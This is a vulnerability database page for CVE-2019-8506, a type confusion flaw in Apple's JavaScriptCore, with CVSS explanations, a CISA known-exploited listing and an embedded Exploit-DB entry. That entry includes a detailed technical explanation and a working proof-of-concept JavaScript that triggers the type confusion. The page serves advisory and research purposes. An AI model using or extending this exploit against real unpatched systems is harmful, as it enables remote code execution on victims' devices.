CVE-2019-8506 : Detail

CVE-2019-8506

8.8
/
High
19.43%V3
Network
2019-12-18
17h33 +00:00
2025-01-29
17h41 +00:00
CVE.org
NVD
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CVE Descriptions

A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 12.2, tvOS 12.2, watchOS 5.2, Safari 12.1, iTunes 12.9.4 for Windows, iCloud for Windows 7.11. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apple Multiple Products Type Confusion Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-05-03 22h00 +00:00

Action is due : 2022-05-24 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46647

Publication date : 2019-04-02 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Prerequisites ------------- In JavaScriptCore, JSObjects have an associated Structure: an object describing various aspects of the JSObject such as its type, its properties, and the type of elements being stored (e.g. unboxed double or JSValues). Whenever a property is added to an object (or some other aspect of it is changed), a new structure is allocated which now also contains the new property. This "structure transition" is then cached so that the same structure can be reused for similar transitions in the future. Arrays in JavaScriptCore can have different indexing modes: the contiguous modes (ArrayWithInt32, ArrayWithDouble, ArrayWithContiguous), and modes used for sparse arrays (ArrayWitArrayStorage, ArrayWithSlowPutArrayStorage). JavaScriptCore has a notion of "having a bad time" (JSGlobalObject::haveABadTime). This is the case when an object in the array prototype chain has indexed accessors. In that case, the indexing mode of all arrays is switched to ArrayWithSlowPutStorage, which indicates that element stores to holes have to consult the prototype chain. The engine will "have a bad time" as soon as an object in the default prototype chain of Arrays has an indexed accessor. JavaScriptCore can track types of properties using the inferred type mechanism. Essentially, the first time a property is created, an inferred type for the property is installed and linked to the structure. The inferred type is based on the initial value of the property. For example: setting a property .x for the first time with a value of 42 would initialize the inferred type for .x to be "Int32". If the same property (on any Object referencing it) is assigned a new value, the inferred type for that property is "widened" to include all previous types and the new type. For example: if later on a double value is stored in property .x, the new inferred type for that property would be "Number". See InferredType::Descriptor::merge for the exact rules. Besides primitive types and "Object", inferred types can also be "ObjectWithStructure", in which case the property is known to be an object with a specific structure. The DFG and FTL JIT compilers make use of inferred types to omit type checks. Consider the following code: function foo(o) { return o.a.b; } Assuming that the inferred type for the .a property is ObjectWithStructure, then the compiler is able to use the inferred type to omit the StructureCheck for o.a and will thus only emit a single StructureCheck for o. Vulnerability Details --------------------- The inferred type mechanism is secured via watchpoints: whenever a piece of JIT code relies on inferred types, it installs a callback (called Watchpoint) on the inferred type to trigger whenever it is widened. In that case the JIT code is discarded as it is no longer safe to execute. Code that updates a property value is then required to check whether the inferred type is still consistent with the new value and if not widen it and trigger Watchpoints. This is done e.g. in Structure::willStoreValueForExistingTransition. As such, every "direct" property store, one that does not update inferred types, could now be a security bug as it could violate inferred types. JSObject::putDirect is such an example: void putDirect(VM& vm, PropertyOffset offset, JSValue value) { locationForOffset(offset)->set(vm, this, value); } The function directly stores the provided value to the given property slot without accounting for inferred types, which the caller is supposed to do. Looking for cross references to said function leads to createRegExpMatchesArray (used e.g. for %String.prototype.match) which in essence does: let array = newArrayWithStructure(regExpMatchesArrayWithGroupsStructure); array->putDirect(vm, RegExpMatchesArrayIndexPropertyOffset, index) array->putDirect(vm, RegExpMatchesArrayInputPropertyOffset, input) array->putDirect(vm, RegExpMatchesArrayGroupsPropertyOffset, groups) As such, if it was possible to get the engine to set an inferred type for one of the three properties of the regExpMatchesArrayWithGroupsStructure structure, one could then invalidate the inferred type through %String.prototype.match without firing watchpoints. The regExpMatchesArrayWithGroupsStructure is created during initialization of the engine by following this pseudo code: let structure = arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous); structure = Structure::addPropertyTransition(vm, structure, "index"); structure = Structure::addPropertyTransition(vm, structure, "input"); regExpMatchesArrayWithGroupsStructure = Structure::addPropertyTransition(vm, structure, "groups"); It is thus possible to manually construct an object having the regExpMatchesArrayWithGroupsStructure as structure like this: var a = ["a", "b", "c"]; // ArrayWithContiguous a.index = 42; a.input = "foo"; a.groups = null; Unfortunately, as the regExpMatchesArrayWithGroupsStructure is created at initialization time of the engine, no inferred type will be set for any of the properties as no property value is available for the initial structure transition. However, regExpMatchesArrayWithGroupsStructure is re-created when the engine is having a bad time. In that case, all arrays will now use ArrayWithSlowPutArrayStorage mode. For that reason, a new structure for regExpMatchesArrayWithGroupsStructure is created as well which now uses ArrayWithSlowPutArrayStorage instead of ArrayWithContiguous as base structure. As such, if somehow it was possible to create the resulting regExpMatchesArrayWithGroupsStructure before the engine has a bad time, then inferred types could be installed on said structure. It is rather tricky to construct an array that has the default array prototype and uses ArrayWithSlowPutArrayStorage mode, as that mode is only used when a prototype has indexed accessors. However, it is possible using the following code: // Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to // `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++. function createArrayWithSlowPutArrayStorage() { let protoWithIndexedAccessors = {}; Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } }); // Compile a function that will end up creating an array with SlowPutArrayStorage. function helper(i) { // After JIT compilation, this new Array call will construct a normal array (with the // original Array prototype) with SlowPutArrayStorage due to profiling information from // previous executions (which all ended up transitioning to SlowPutArrayStorage). let a = new Array; if (i > 0) { // Convert the array to SlowPutArrayStorage by installing a prototype with indexed // accessors. We can't directly use this object though as the prototype is different and // thus the structure has changed. Object.setPrototypeOf(a, protoWithIndexedAccessors); } return a; } for (let i = 1; i < 10000; i++) { helper(i); } return helper(0); } Once the helper function is JIT compiled, the profile information for the "new Array" operation will indicate that the resulting array will eventually use the ArrayWithSlowPutArrayStorage indexing mode. As such, the engine decides to directly allocate the object with ArrayWithSlowPutArrayStorage during `new Array` in the JIT code. By not going into the if branch it is possible to construct an array with SlowPutArrayStorage that never changed its prototype from the original array prototype (which causes a structure transition and as such cannot be used). From here, it is possible to create the same structure that will later become regExpMatchesArrayWithGroupsStructure after having a bad time: let a = createArrayWithSlowPutArrayStorage(); a.index = 1337; a.input = "foobar" a.groups = obj; However, this time the engine will use inferred types for all properties since this is the first time the structure is created and all properties are initialized with values. With that, it is now possible to compile a function that uses these inferred types to omit type checks, such as: // Install a global property with inferred type of ObjectWithStructure. global = a; // Must assign twice, otherwise JIT assumes 'global' is a constant. global = a; function hax() { return global.groups.someProperty; } This function will be compiled without any StructureCheck operations to perform runtime type checks as everything is based on inferred types. Next, String.match is invoked to produce an object with the same structure but which now violates the inferred type due to createRegExpMatchesArray using putDirect for the property store. The resulting object can safely be assigned to the 'global' variable as it has the same structure as before. Afterwards, the compiled function can be invoked again to cause a type confusion when accessing .someProperty because the .groups property now has a different Structure than indicated by its inferred type. To recap, the steps to achieve a type confusion between an object of type TX and an object of type TY, where both TX and TY can be arbitrarily chosen, are as follows: 1. Let X and Y be two objects with structures S1 and S2 respectively (corresponding to type TX and type TY). 2. Let O be an object with an out-of-line property whose value is X and inferred type thus TX. O will have structure S3. 3. Create an array with unmodified prototype chain and SlowPutArrayStorage as described above. It will have structure S4 (plain array with SlowPutStorage). 4. Add properties 'index', 'input', and 'groups' in that order to create structures S5, S6, and S7. Set the initial value of the 'groups' property to O so its inferred type will be ObjectWithStructure S3. 5. Have a bad time: install an indexed accessor on the array prototype. This will cause arrays to be converted and regExpMatchesArrayWithGroupsStructure to be recreated. However, since the structure transitions already exist, regExpMatchesArrayWithGroupsStructure will become structure S7. The inferred types for S7 will not change since no property values are assigned. 6. JIT compile a function that relies on the inferred type of the .groups property of structure S7 which is ObjectWithStructure S3. 7. Call String.prototype.match to create an object M with structure S8, which, however, violates the inferred types as createRegExpMatchesArray uses putDirect. 8. Set the first out-of-line property of M.groups to Y. 9. Call the JIT compiled function with M. As M has structure S7, the code will not bail out, then access the first out-of-line property of M.groups believing it to be type TX while it really is type TY now. The attached PoC uses this to confuse an object with a double inline property with an object with a pointer inline property. */ // /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js // The PoC will confuse objX with objY. // objX will have structure S1, objY structure S2. let objX = {objProperty: {fetchme: 1234}}; let objY = {doubleProperty: 2130562.5098039214}; // 0x4141414141414141 in memory // Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to // `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++. function createArrayWithSlowPutArrayStorage() { let protoWithIndexedAccessors = {}; Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } }); // Compile a function that will end up creating an array with SlowPutArrayStorage. function helper(i) { // After JIT compilation, this new Array call will construct a normal array (with the // original Array prototype) with SlowPutArrayStorage due to profiling information from // previous executions (which all ended up transitioning to SlowPutArrayStorage). let a = new Array; if (i > 0) { // Convert the array to SlowPutArrayStorage by installing a prototype with indexed // accessors. This object can, however, not be used directly as the prototype is // different and thus the structure has changed. Object.setPrototypeOf(a, protoWithIndexedAccessors); } return a; } for (let i = 1; i < 10000; i++) { helper(i); } return helper(0); } // Helper object using inferred types. let obj = {}; obj.inlineProperty1 = 1337; obj.inlineProperty2 = 1338; obj.oolProperty1 = objX; // Inferred type of 'oolProperty1' will be ObjectWithStructure S1. // 'obj' now has structure S3. // Create the same structure (S4) that will later (when having a bad time) be used as // regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial // structure transition, inferred types for all property values are created. let a = createArrayWithSlowPutArrayStorage(); // a has Structure S4, a.index = 42; // S5, a.input = "foobar"; // S6, a.groups = obj; // and S7. // The inferred type for the .groups property will be ObjectWithStructure S3. // Inferred type for this property will be ObjectWithStructure S7. global = a; // Must assign twice so the JIT uses the inferred type instead of assuming that // the property is constant and installing a replacement watchpoint to // deoptimize whenever the property is replaced. global = a; // Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure // (to use an array with SlowPutArrayStorage), but since the same structure transitions were // performed before, it will actually reuse the existing structure S7. As no property values are // assigned, all inferred types for structure S7 will still be valid. Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } }); // Compile a function that uses the inferred value of 'global' to omit type checks. function hax() { return global.groups.oolProperty1.objProperty.fetchme; } for (let i = 0; i < 10000; i++) { hax(i); } // Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially // other properties) due to createRegExpMatchesArray using putDirect. let match = "hax".match(/(?<oolProperty1>hax)/); // match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7. match.groups.oolProperty1 = objY; // This property overlaps with oolProperty1 of structure S3. // The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired. global = match; // Trigger the type confusion. hax();

Products Mentioned

Configuraton 0

Apple>>Icloud >> Version To (excluding) 7.11

Apple>>Itunes >> Version To (excluding) 12.9.4

Apple>>Safari >> Version To (excluding) 12.1

Apple>>Iphone_os >> Version To (excluding) 12.2

Apple>>Tvos >> Version To (excluding) 12.2

Apple>>Watchos >> Version To (excluding) 5.2

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

References